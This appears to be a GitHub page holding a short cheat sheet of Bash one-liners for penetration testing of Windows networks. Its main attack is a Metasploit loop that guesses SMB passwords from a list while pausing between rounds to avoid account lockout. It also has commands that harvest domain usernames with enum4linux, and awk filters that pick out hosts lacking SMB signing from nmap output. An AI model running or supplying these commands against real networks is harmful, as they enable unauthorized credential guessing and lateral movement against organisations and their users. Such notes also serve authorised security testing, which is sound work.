-
Notifications
You must be signed in to change notification settings - Fork 5
/
Bash
14 lines (10 loc) · 1.09 KB
/
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Guess SMB passwords online without locking accounts. You need to know lockout threshold and observation window first.
for pass in $(cat passwords.txt); do msfcli auxiliary/scanner/smb/smb_login RHOSTS=127.0.0.1 SMBPASS=$pass USER_FILE=/users.txt SMBDOMAIN=x E; sleep 360; done
Combine multiple column'd text into one column (for example: output of "net users /domain"):
awk '{ for(i=1;i<=NF;i++){ print $i}}' inputfile.txt outputfile.txt
From @MrMindscrew - one-liner to use enum4linux from @portcullislabs and snag a username list:
enum4linux -U 10.1.1.21 | grep "user:" | awk -F ":" ' { print $2 } ' | awk -F " " ' { print $1 } ' | sed 's/.*\[\([^]]*\)\].*/\1/g'
From "normal" nmap output, get list of IPs that do not enforce SMB signing:
awk '/^Nmap/ {a=$0} /signing disabled/ {print a}' filename.nmap | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
From "grepable" nmap output, create one text file per open port, and include each IP with that port open in that text file:
awk '/^Host/ {for(i=3;i<=NF;i++){if(sub(/\/open\/.*/,"",$i))print$2>>(""$i"-open.txt");close(""$i"-open.txt");}}' svc.gnmap